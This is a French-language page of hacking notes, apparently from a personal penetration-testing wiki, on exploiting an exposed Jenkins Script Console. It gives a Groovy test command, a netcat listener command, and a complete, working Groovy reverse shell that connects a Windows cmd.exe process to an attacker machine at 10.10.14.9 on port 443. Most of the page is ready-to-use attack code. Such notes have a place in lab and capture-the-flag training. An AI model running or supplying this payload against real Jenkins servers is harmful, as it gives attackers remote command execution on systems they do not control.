> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/jenkins-cms-exploitation.md).
# Jenkins
Notes d’exploitation de Jenkins pour l’accès à la Script Console, l’exécution de commandes Groovy, les charges utiles de shell inversé Windows, la mise en place du listener Netcat et l’exécution de code à distance.
**Jenkins - Exécution de scripts Groovy**
Jenkins est accessible et **Script Console** est activé, ce qui permet l’exécution de scripts Groovy.
Exemple de commande pour tester l’exécution :
```groovy
println "ipconfig".execute().text
```
### **Exploitation**
#### **Shell inversé via la console de scripts Groovy**
Pour obtenir un accès distant, utilisez le flux de travail suivant :
1. **Démarrez un écouteur sur le port 443 :**
```bash
rlwrap nc -nvlp 443
```
2. **Exécutez le script suivant dans la console Groovy** pour établir un shell inversé :
{% code overflow="wrap" %}
```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```
{% endcode %}
---
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